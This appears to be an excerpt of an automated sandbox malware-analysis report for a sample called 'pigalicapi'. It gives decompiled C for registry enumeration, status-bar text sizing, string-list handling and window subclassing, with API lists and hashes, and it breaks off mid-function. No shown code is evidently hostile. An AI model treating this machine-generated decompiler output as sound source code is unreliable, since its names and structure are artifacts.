0x00000000
0x008019f7
0x00801a00
0x00801a0d
0x00801a12
0x00801a1a
0x00000000
0x00000000
0x00801a27
0x00801a40
0x00801a4e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00801a4e
0x00801aa2
0x00801aaa
0x00801a92
0x00801a9f
0x00801aac
0x00801aad
0x00801ac9
0x00801ac9
0x00801aaa
0x00000000
0x00000000
0x00000000
0x008019a5
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?,00000000,00802437,?), ref: 00801970
RegCloseKey.ADVAPI32(?), ref: 00801989
RegCloseKey.ADVAPI32(?), ref: 008019AC
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 008019F1
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000100,00000000,00000000,00000000,?), ref: 00801A4A
RegCloseKey.ADVAPI32(?), ref: 00801A5B
RegCloseKey.ADVAPI32(?), ref: 00801A87

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Close$Enum$Open
String ID:
API String ID: 4245071059-0
Opcode ID: 49cbe26872cd2955a54989efd6b514e540ee4d0dc491ccb35700703778f9a3a6
Instruction ID: 37e2fbcfeeb4019c829e8953a377e3d4f4d72e249f02f1ffecae113e0b616ba8
Opcode Fuzzy Hash: 49cbe26872cd2955a54989efd6b514e540ee4d0dc491ccb35700703778f9a3a6
Instruction Fuzzy Hash: DE413EB1A0112C9BCB29DB55DC85AEEFBB8FF4D750F00819AE609D2241D6709E85CFE0

Uniqueness

Uniqueness Score: -1.00%

Function 0080AA92 Relevance: 12.1, APIs: 8, Instructions: 100
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0080AA92() {
				long _t62;
				struct HWND__* _t64;
				void* _t68;
				int _t74;
				int _t77;
				intOrPtr _t80;
				long _t81;
				void* _t87;
				void* _t88;
				void* _t114;
				struct HDC__* _t115;
				signed int _t116;
				struct HDC__* _t117;
				intOrPtr* _t118;
				void* _t119;
				void* _t120;
				long _t121;
				signed int _t122;

				_t118 =  *((intOrPtr*)(_t122 - 0x2b4));
				_t87 =  *(_t122 - 0x2b8);
				_t62 =  *(_t87 + 0x28);
				if(_t62 != 0) {
					 *((intOrPtr*)(_t122 - 0x2b0)) = _t122 - 0x2ac;
					 *_t62 =  *_t118;
					 *((intOrPtr*)(_t62 + 4)) =  *((intOrPtr*)(_t118 + 4));
					 *((intOrPtr*)(_t62 + 8)) =  *((intOrPtr*)(_t118 + 8));
					_t64 =  *(_t87 + 4);
					 *(_t122 - 0x2c4) = _t64;
					_t115 = GetDC(_t64);
					 *(_t122 - 0x2cc) = _t115;
					_t68 = SelectObject(_t115, SendMessageA( *(_t87 + 4), 0x31, 0, 0));
					_t116 = 0;
					 *(_t122 - 0x2b8) = _t68;
					 *(_t122 - 0xa4) = 0;
					 *((intOrPtr*)(_t122 - 0xa0)) = 0;
					 *((intOrPtr*)(_t122 - 0x9c)) = 0;
					SendMessageA( *(_t87 + 4), 0x407, 0, _t122 - 0xa4);
					 *(_t122 - 0x98) = 0;
					E00816820(_t122 - 0x97, 0, 0x7f);
					 *(_t122 - 0x2c0) = 0;
					 *((intOrPtr*)(_t122 - 0x2bc)) = 0;
					 *((intOrPtr*)(_t122 - 0x2b4)) =  *(_t122 - 0xa4);
					_t120 = _t118 - _t122 - 0x2ac;
					do {
						_t74 =  *(_t122 + _t120 + _t116 * 4 - 0x2ac);
						if(_t74 != 0) {
							LoadStringA( *0x880c0c, _t74, _t122 - 0x98, 0x80);
							_t77 = lstrlenA(_t122 - 0x98);
							if(_t77 == 0xffffffff) {
								_t77 = lstrlenA(_t122 - 0x98);
							}
							GetTextExtentPoint32A( *(_t122 - 0x2cc), _t122 - 0x98, _t77, _t122 - 0x2c0);
							 *((intOrPtr*)(_t122 + _t116 * 4 - 0x2ac)) =  *((intOrPtr*)(_t122 - 0x9c)) +  *((intOrPtr*)(_t122 - 0x2b4)) +  *(_t122 - 0x2c0) + 6;
						} else {
							 *((intOrPtr*)(_t122 + _t116 * 4 - 0x2ac)) = 0x3fffffff;
						}
						_t80 =  *((intOrPtr*)(_t122 + _t116 * 4 - 0x2ac));
						_t116 = _t116 + 1;
						 *((intOrPtr*)(_t122 - 0x2b4)) = _t80;
					} while (_t116 < 3);
					_t81 = SendMessageA( *(_t87 + 4), 0x404, 3, _t122 - 0x2ac);
					_t117 =  *(_t122 - 0x2cc);
					_t121 = _t81;
					SelectObject(_t117,  *(_t122 - 0x2b8));
					ReleaseDC( *(_t122 - 0x2c4), _t117);
					_t103 = _t122 - 0x2ac;
					if( *((intOrPtr*)(_t122 - 0x2b0)) != _t122 - 0x2ac) {
						E0080D040(_t122 - 0x2b0);
					}
					_t62 = _t121;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t122 - 0xc));
				_pop(_t114);
				_pop(_t119);
				_pop(_t88);
				return E008159E6(_t62, _t88,  *(_t122 - 0x14) ^ _t122, _t103, _t114, _t119);
			}

0x0080aa92
0x0080aa98
0x0080aa9e
0x0080aaa3
0x0080aab1
0x0080aab7
0x0080aabc
0x0080aac2
0x0080aac5
0x0080aac9
0x0080aad9
0x0080aae1
0x0080aaef
0x0080aaff
0x0080ab02
0x0080ab10
0x0080ab16
0x0080ab1c
0x0080ab22
0x0080ab32
0x0080ab39
0x0080ab4d
0x0080ab53
0x0080ab59
0x0080ab5f
0x0080ab61
0x0080ab64
0x0080ab6d
0x0080ab90
0x0080ab9d
0x0080aba6
0x0080abaf
0x0080abaf
0x0080abcb
0x0080abe7
0x0080ab6f
0x0080ab6f
0x0080ab6f
0x0080abee
0x0080abf5
0x0080abf6
0x0080abfc
0x0080ac17
0x0080ac1d
0x0080ac23
0x0080ac2d
0x0080ac3b
0x0080ac41
0x0080ac4d
0x0080ac55
0x0080ac55
0x0080ac5a
0x0080ac5a
0x0080ac5f
0x0080ac67
0x0080ac68
0x0080ac69
0x0080ac77

APIs

GetDC.USER32(?), ref: 0080AACF
SendMessageA.USER32 ref: 0080AAE7
SelectObject.GDI32(00000000,00000000), ref: 0080AAEF
SendMessageA.USER32 ref: 0080AB22
_memset.LIBCMT ref: 0080AB39
LoadStringA.USER32 ref: 0080AB90
lstrlenA.KERNEL32(00000000), ref: 0080AB9D
lstrlenA.KERNEL32(00000000), ref: 0080ABAF
GetTextExtentPoint32A.GDI32(?,00000000,00000000,?), ref: 0080ABCB
SendMessageA.USER32 ref: 0080AC17
SelectObject.GDI32(?,?), ref: 0080AC2D
ReleaseDC.USER32 ref: 0080AC3B

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: MessageSend$ObjectSelectlstrlen$ExtentLoadPoint32ReleaseStringText_memset
String ID:
API String ID: 1950834119-0
Opcode ID: a55fcf2a9f1e065ac4990cafb9ed65d1399986ef032a95957bd0765b231ab8fd
Instruction ID: ca46cfdb21638e8e0b27d8606a983c78ff8e9ed5d3ffec020da7be1192c574d9
Opcode Fuzzy Hash: a55fcf2a9f1e065ac4990cafb9ed65d1399986ef032a95957bd0765b231ab8fd
Instruction Fuzzy Hash: 6A412D71A042199FDB24CF24DC88B9AB7B9FF89300F1081D9E50DA7291D7309E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0080B170 Relevance: 10.7, APIs: 7, Instructions: 165
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0080B170(signed int* __ebx, CHAR* __ecx, signed int __edx) {
				signed int _v8;
				char _v276;
				CHAR* _v280;
				void* __edi;
				void* __esi;
				signed int _t38;
				int _t43;
				signed int _t47;
				CHAR* _t48;
				void* _t49;
				CHAR* _t52;
				void* _t54;
				signed int _t55;
				CHAR* _t63;
				signed int* _t64;
				signed int _t78;
				void* _t86;
				CHAR* _t88;
				void* _t91;
				signed int _t97;
				void* _t98;

				_t78 = __edx;
				_t64 = __ebx;
				_t38 =  *0x869060; // 0xda7e2511
				_v8 = _t38 ^ _t97;
				_t88 = __ecx;
				_v280 = __ecx;
				if(__ecx == 0) {
					L5:
					return E008159E6(0, _t64, _v8 ^ _t97, _t78, _t83, _t88);
				} else {
					_t83 = lstrlenA;
					if(lstrlenA(__ecx) <= 0x103) {
						_t43 = lstrlenA(_t88);
					} else {
						_t43 = 0x103;
					}
					if(lstrcpynA( &_v276, _t88, _t43 + 1) != 0) {
						_t89 = 0;
						__eflags = _t64[1];
						if(_t64[1] <= 0) {
							L12:
							_t47 = _t64[1];
							__eflags = _t47 - _t64[3];
							if(_t47 != _t64[3]) {
								goto L25;
							} else {
								__eflags = _t47;
								if(_t47 <= 0) {
									goto L25;
								} else {
									__eflags = _t47 == 1;
									if(_t47 == 1) {
										goto L24;
									} else {
										_t78 =  *_t64;
										_t72 = (_t47 - 1) * 0x104;
										_t89 = _t78 + 0x104;
										_t54 = E00815B58(_t64, _t78, _t47 * 0x104, _t78 + 0x104, (_t47 - 1) * 0x104);
										_t98 = _t98 + 0x10;
										__eflags = _t54 - 0x50;
										if(_t54 > 0x50) {
											goto L28;
										} else {
											_t14 = _t54 + 0x80b388; // 0x3030300
											switch( *((intOrPtr*)(( *_t14 & 0x000000ff) * 4 +  &M0080B378))) {
												case 0:
													goto L24;
												case 1:
													goto L22;
												case 2:
													goto L23;
												case 3:
													goto L28;
											}
										}
									}
								}
							}
						} else {
							_t83 = 0;
							__eflags = 0;
							while(1) {
								__eflags = _t89;
								if(_t89 < 0) {
									break;
								}
								__eflags = _t89 - _t64[1];
								if(_t89 >= _t64[1]) {
									break;
								} else {
									_t63 = lstrcmpiA( *_t64 + _t83, _v280);
									__eflags = _t63;
									if(_t63 == 0) {
										_t55 = _t64[1];
										__eflags = _t89 - _t55;
										if(_t89 < _t55) {
											__eflags = _t89 - _t55 - 1;
											if(_t89 != _t55 - 1) {
												__eflags =  *_t64 + _t89 * 0x104;
												E00801240( *_t64 + _t89 * 0x104,  *_t64 + _t89 * 0x104, (_t55 - _t89) * 0x104,  &(( *_t64 + _t89 * 0x104)[0x104]), (_t55 - _t89) * 0x104 - 0x104);
												_t98 = _t98 + 0x10;
											}
											_t64[1] = _t64[1] - 1;
										}
										goto L12;
									} else {
										_t89 = _t89 + 1;
										_t83 = _t83 + 0x104;
										__eflags = _t89 - _t64[1];
										if(_t89 < _t64[1]) {
											continue;
										} else {
											goto L12;
										}
									}
								}
								goto L38;
							}
							RaiseException(0xc000008c, 1, 0, 0);
							L22:
							_push(0x8007000e);
							L00801170(_t78);
							L23:
							_push(0x80070057);
							L00801170(_t78);
							L24:
							_t23 =  &(_t64[1]);
							 *_t23 = _t64[1] - 1;
							__eflags =  *_t23;
							L25:
							_t78 = _t64[1];
							_t48 = _t64[2];
							__eflags = _t78 - _t48;
							if(_t78 != _t48) {
								L35:
								_t86 = _t64[1] * 0x104 +  *_t64;
								__eflags = _t86;
								if(_t86 != 0) {
									_t91 =  &_v276;
									memcpy(_t86, _t91, 0x41 << 2);
									_t86 = _t91 + 0x82;
								}
								_t64[1] = _t64[1] + 1;
								_t49 = E0080D690(_t78, _t64);
								__eflags = _v8 ^ _t97;
								return E008159E6(_t49, _t64, _v8 ^ _t97, _t78, _t86, _t64);
							} else {
								_t72 =  *_t64;
								__eflags =  &_v276 - _t72;
								if( &_v276 >= _t72) {
									_t83 =  &_v276;
									__eflags =  &_v276 - _t48 * 0x104 + _t72;
									if( &_v276 < _t48 * 0x104 + _t72) {
										L28:
										_push(0x80004005);
										_t48 = L00801170(_t78);
									}
								}
								__eflags = _t48;
								if(_t48 != 0) {
									_t88 = _t78 + _t78;
									__eflags = _t88;
									if(_t88 < 0) {
										goto L5;
									} else {
										__eflags = _t88 - 0x7e07e0;
										if(_t88 > 0x7e07e0) {
											goto L5;
										} else {
											goto L33;
										}
									}
								} else {
									_t29 =  &(_t48[1]); // 0x1
									_t88 = _t29;
									L33:
									_t52 = E00816254(_t72, _t88, 0x104);
									_t98 = _t98 + 0xc;
									__eflags = _t52;
									if(_t52 == 0) {
										goto L5;
									} else {
										_t64[2] = _t88;
										 *_t64 = _t52;
										goto L35;
									}
								}
							}
						}
					} else {
						goto L5;
					}
				}
				L38:
			}

0x0080b170
0x0080b170
0x0080b179
0x0080b180
0x0080b184
0x0080b187
0x0080b18f
0x0080b1bf
0x0080b1d0
0x0080b191
0x0080b191
0x0080b19f
0x0080b1a9
0x0080b1a1
0x0080b1a1
0x0080b1a1
0x0080b1bd
0x0080b1d1
0x0080b1d3
0x0080b1d6
0x0080b213
0x0080b213
0x0080b216
0x0080b219
0x00000000
0x0080b21f
0x0080b21f
0x0080b221
0x00000000
0x0080b227
0x0080b22a
0x0080b22c
0x00000000
0x0080b232
0x0080b232
0x0080b23d
0x0080b244
0x0080b24d
0x0080b252
0x0080b255
0x0080b258
0x00000000
0x0080b25e
0x0080b25e
0x0080b265
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0080b265
0x0080b258
0x0080b22c
0x0080b221
0x0080b1d8
0x0080b1d8
0x0080b1d8
0x0080b1e0
0x0080b1e0
0x0080b1e2
0x00000000
0x00000000
0x0080b1e8
0x0080b1eb
0x00000000
0x0080b1f1
0x0080b1fd
0x0080b203
0x0080b205
0x0080b26c
0x0080b26f
0x0080b271
0x0080b276
0x0080b278
0x0080b291
0x0080b29c
0x0080b2a1
0x0080b2a1
0x0080b2a4
0x0080b2a4
0x00000000
0x0080b207
0x0080b207
0x0080b208
0x0080b20e
0x0080b211
0x00000000
0x00000000
0x00000000
0x00000000
0x0080b211
0x0080b205
0x00000000
0x0080b1eb
0x0080b2b7
0x0080b2bd
0x0080b2bd
0x0080b2c2
0x0080b2c7
0x0080b2c7
0x0080b2cc
0x0080b2d1
0x0080b2d1
0x0080b2d1
0x0080b2d1
0x0080b2d4
0x0080b2d4
0x0080b2d7
0x0080b2da
0x0080b2dc
0x0080b344
0x0080b34d
0x0080b34d
0x0080b34f
0x0080b356
0x0080b35c
0x0080b35c
0x0080b35c
0x0080b35e
0x0080b363
0x0080b36c
0x0080b377
0x0080b2de
0x0080b2de
0x0080b2e6
0x0080b2e8
0x0080b2f4
0x0080b2fa
0x0080b2fc
0x0080b2fe
0x0080b2fe
0x0080b303
0x0080b303
0x0080b2fc
0x0080b308
0x0080b30a
0x0080b311
0x0080b314
0x0080b316
0x00000000
0x0080b31c
0x0080b31c
0x0080b322
0x00000000
0x00000000
0x00000000
0x00000000
0x0080b322
0x0080b30c
0x0080b30c
0x0080b30c
0x0080b328
0x0080b32f
0x0080b334
0x0080b337
0x0080b339
0x00000000
0x0080b33f
0x0080b33f
0x0080b342
0x00000000
0x0080b342
0x0080b339
0x0080b30a
0x0080b2dc
0x00000000
0x00000000
0x00000000
0x0080b1bd
0x00000000

APIs

lstrlenA.KERNEL32(?), ref: 0080B198
lstrlenA.KERNEL32(?), ref: 0080B1A9
lstrcpynA.KERNEL32(?,?,00000001), ref: 0080B1B5
lstrcmpiA.KERNEL32(00000000,?), ref: 0080B1FD
_memmove_s.LIBCMT ref: 0080B24D
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 0080B2B7
__recalloc.LIBCMT ref: 0080B32F

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: lstrlen$ExceptionRaise__recalloc_memmove_slstrcmpilstrcpyn
String ID:
API String ID: 959487417-0
Opcode ID: 9ad21e64f79bc2c8632bb0867ace82e3e336cf0aade9f7098c9ebd9ae27ccebf
Instruction ID: 423162201cf52711b2edff8380a28a284ddf70eea61a14d289da7b5770d5d11a
Opcode Fuzzy Hash: 9ad21e64f79bc2c8632bb0867ace82e3e336cf0aade9f7098c9ebd9ae27ccebf
Instruction Fuzzy Hash: 8751BE72A011249BDB64EF14CD85BE9B7A9FF44300F1681A5EE09EF285D770AD818BE1

Uniqueness

Uniqueness Score: -1.00%

Function 008141D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E008141D0(long _a4, long _a8, int _a12, long _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				long _v28;
				int _v32;
				long _v36;
				struct HWND__* _v40;
				struct HWND__* _t51;
				signed int _t53;
				int _t59;
				long _t63;
				long _t65;
				long _t70;
				_Unknown_base(*)()* _t79;
				int _t89;
				intOrPtr* _t90;

				_t70 = _a16;
				_t90 = _a4;
				_t51 =  *(_t90 + 4);
				_t89 = _a12;
				_v36 = _a8;
				_push(0);
				_v24 = 0;
				_v16 = 0;
				_v20 = 0;
				_a4 = 0;
				_push( &_a4);
				_a12 =  *(_t90 + 0x18);
				_push(_t70);
				_push(_t89);
				 *(_t90 + 0x18) =  &_v40;
				_push(_a8);
				_push(_t51);
				_v12 = 0x24;
				_v8 = 1;
				_v40 = _t51;
				_v32 = _t89;
				_v28 = _t70;
				if( *((intOrPtr*)( *((intOrPtr*)( *_t90))))() == 0) {
					_t59 = _a8;
					if(_t59 == 0x82) {
						_a8 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
						_t63 = CallWindowProcA( *(_t90 + 0x20),  *(_t90 + 4), 0x82, _t89, _t70);
						_t79 =  *(_t90 + 0x20);
						_a4 = _t63;
						__eflags = _t79 - __imp__DefWindowProcA; // 0x778fd1c0
						if(__eflags != 0) {
							_t65 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
							__eflags = _t65 - _a8;
							if(_t65 == _a8) {
								SetWindowLongA( *(_t90 + 4), 0xfffffffc,  *(_t90 + 0x20));
							}
						}
						_t36 = _t90 + 0x1c;
						 *_t36 =  *(_t90 + 0x1c) | 0x00000001;
						__eflags =  *_t36;
					} else {
						_a4 = CallWindowProcA( *(_t90 + 0x20),  *(_t90 + 4), _t59, _t89, _t70);
					}
				}
				_t53 =  *(_t90 + 0x1c);
				if((_t53 & 0x00000001) == 0 || _a12 != 0) {
					 *(_t90 + 0x18) = _a12;
					return _a4;
				} else {
					 *(_t90 + 4) = 0;
					 *(_t90 + 0x18) = 0;
					 *(_t90 + 0x1c) = _t53 & 0xfffffffe;
					 *((intOrPtr*)( *((intOrPtr*)( *_t90 + 0xc))))( *(_t90 + 4));
					return _a4;
				}
			}

0x008141da
0x008141de
0x008141e4
0x008141e8
0x008141eb
0x008141f0
0x008141f1
0x008141f4
0x008141f7
0x008141fa
0x00814200
0x00814204
0x00814207
0x0081420b
0x0081420c
0x00814213
0x00814214
0x00814217
0x0081421e
0x00814225
0x00814228
0x0081422b
0x00814232
0x00814234
0x0081423c
0x0081426a
0x00814272
0x00814278
0x0081427b
0x0081427e
0x00814284
0x0081428c
0x00814292
0x00814295
0x008142a1
0x008142a1
0x00814295
0x008142a7
0x008142a7
0x008142a7
0x0081423e
0x0081424f
0x0081424f
0x0081423c
0x008142ab
0x008142b0
0x008142e5
0x008142ed
0x008142b9
0x008142bf
0x008142c2
0x008142c7
0x008142d0
0x008142db
0x008142db

APIs

CallWindowProcA.USER32 ref: 00814249
GetWindowLongA.USER32 ref: 0081425A
CallWindowProcA.USER32 ref: 00814272
GetWindowLongA.USER32 ref: 0081428C
SetWindowLongA.USER32 ref: 008142A1

Strings

$, xrefs: 00814217

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: a2d87785311b86412c84403d655532d3e217b22e2b54968bf5767e1bf2b89247
Instruction ID: 5c96ac132ac89f6cbc5fee75b4d1d3c90585b732517f7a2145919c10e56c8fc0
Opcode Fuzzy Hash: a2d87785311b86412c84403d655532d3e217b22e2b54968bf5767e1bf2b89247
Instruction Fuzzy Hash: 3F41D875600609AFCB24CF59D88499AB7F9FF88310B10861DF95AC7651D770E941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 008143F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E008143F0(long _a4, long _a8, int _a12, long _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				long _v28;
				int _v32;
				long _v36;
				struct HWND__* _v40;
				struct HWND__* _t51;
				signed int _t53;
				int _t59;
				long _t63;
				long _t65;
				long _t70;
				_Unknown_base(*)()* _t79;
				int _t89;
				intOrPtr* _t90;

				_t70 = _a16;
				_t90 = _a4;
				_t51 =  *(_t90 + 4);
				_t89 = _a12;
				_v36 = _a8;
				_push(0);
				_v24 = 0;
				_v16 = 0;
				_v20 = 0;
				_a4 = 0;
				_push( &_a4);
				_a12 =  *(_t90 + 0x38);
				_push(_t70);
				_push(_t89);
				 *(_t90 + 0x38) =  &_v40;
				_push(_a8);
				_push(_t51);
				_v12 = 0x24;
				_v8 = 1;
				_v40 = _t51;
				_v32 = _t89;
				_v28 = _t70;
				if( *((intOrPtr*)( *((intOrPtr*)( *_t90))))() == 0) {
					_t59 = _a8;
					if(_t59 == 0x82) {
						_a8 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
						_t63 = CallWindowProcA( *(_t90 + 0x40),  *(_t90 + 4), 0x82, _t89, _t70);
						_t79 =  *(_t90 + 0x40);
						_a4 = _t63;
						__eflags = _t79 - __imp__DefWindowProcA; // 0x778fd1c0
						if(__eflags != 0) {
							_t65 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
							__eflags = _t65 - _a8;
							if(_t65 == _a8) {
								SetWindowLongA( *(_t90 + 4), 0xfffffffc,  *(_t90 + 0x40));
							}
						}
						_t36 = _t90 + 0x3c;
						 *_t36 =  *(_t90 + 0x3c) | 0x00000001;
						__eflags =  *_t36;
					} else {
						_a4 = CallWindowProcA( *(_t90 + 0x40),  *(_t90 + 4), _t59, _t89, _t70);
					}
				}
				_t53 =  *(_t90 + 0x3c);
				if((_t53 & 0x00000001) == 0 || _a12 != 0) {
					 *(_t90 + 0x38) = _a12;
					return _a4;
				} else {
					 *(_t90 + 4) = 0;
					 *(_t90 + 0x38) = 0;
					 *(_t90 + 0x3c) = _t53 & 0xfffffffe;
					 *((intOrPtr*)( *((intOrPtr*)( *_t90 + 0xc))))( *(_t90 + 4));
					return _a4;
				}
			}

0x008143fa
0x008143fe
0x00814404
0x00814408
0x0081440b
0x00814410
0x00814411
0x00814414
0x00814417
0x0081441a
0x00814420
0x00814424
0x00814427
0x0081442b
0x0081442c
0x00814433
0x00814434
0x00814437
0x0081443e
0x00814445
0x00814448
0x0081444b
0x00814452
0x00814454
0x0081445c
0x0081448a
0x00814492
0x00814498
0x0081449b
0x0081449e
0x008144a4
0x008144ac
0x008144b2
0x008144b5
0x008144c1
0x008144c1
0x008144b5
0x008144c7
0x008144c7
0x008144c7
0x0081445e
0x0081446f
0x0081446f
0x0081445c
0x008144cb
0x008144d0
0x00814505
0x0081450d
0x008144d9
0x008144df
0x008144e2
0x008144e7
0x008144f0
0x008144fb
0x008144fb

APIs

CallWindowProcA.USER32 ref: 00814469
GetWindowLongA.USER32 ref: 0081447A
CallWindowProcA.USER32 ref: 00814492
GetWindowLongA.USER32 ref: 008144AC
SetWindowLongA.USER32 ref: 008144C1

Strings

$, xrefs: 00814437

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: d6d5c8a24d2db9e9283104d6a3fb89f262acb12831527f5ada9b58f797d0849d
Instruction ID: bd93e4e201006feab617f377d2651390572511fe2f9aa69a7e10d0ed4869d206
Opcode Fuzzy Hash: d6d5c8a24d2db9e9283104d6a3fb89f262acb12831527f5ada9b58f797d0849d
Instruction Fuzzy Hash: 6941E9B5600604AFCB24CF59D8849AABBF8FF88320B10CA1DE95AC7750D771E941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00808AB0 Relevance: 10.6, APIs: 7, Instructions: 106
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00808AB0(void* __ebx) {
				void* __edi;
				void* __esi;
				long _t27;
				void* _t64;
				void* _t83;

				_t64 = __ebx;
				_t27 = SendMessageA( *(__ebx + 0x254), 0xb8, 0, 0);
				if(_t27 !=  *(__ebx + 0x4b4)) {
					 *(__ebx + 0x4b4) = _t27;
					E00808160(__ebx);
				}
				_t83 = _t64 + 0x3c;
				E008053A0(0xe12b, _t83, SendMessageA( *(_t64 + 0x254), 0xc6, 0, 0));
				E008053A0(0xe125, _t83, SendMessageA( *(_t64 + 0x254), 0x432, 1, 0));
				_t79 = 0 | SendMessageA( *(_t64 + 0x254), 0x442, 0, 0) != 0x00000000;
				E008053A0(0xe123, _t83, SendMessageA( *(_t64 + 0x254), 0x442, 0, 0) != 0);
				E008053A0(0xe122, _t83, SendMessageA( *(_t64 + 0x254), 0x442, 0, 0) != 0);
				E008053A0(0xe120, _t83, _t79);
				_t80 = 0 | GetWindowTextLengthA( *(_t64 + 0x254)) > 0x00000000;
				E008053A0(0xe12a, _t83, GetWindowTextLengthA( *(_t64 + 0x254)) > 0);
				E008053A0(0xe124, _t83, GetWindowTextLengthA( *(_t64 + 0x254)) > 0);
				E008053A0(0xe128, _t83, _t80);
				E008053A0(0xe129, _t83, _t80);
				_t81 = _t83;
				E00805440(0x9c43, _t83,  *((intOrPtr*)(_t64 + 0x4b0)));
				if(IsWindow( *(_t64 + 0x4c8)) != 0 && (GetWindowLongA( *(_t64 + 0x4c8), 0xfffffff0) & 0x10000000) != 0) {
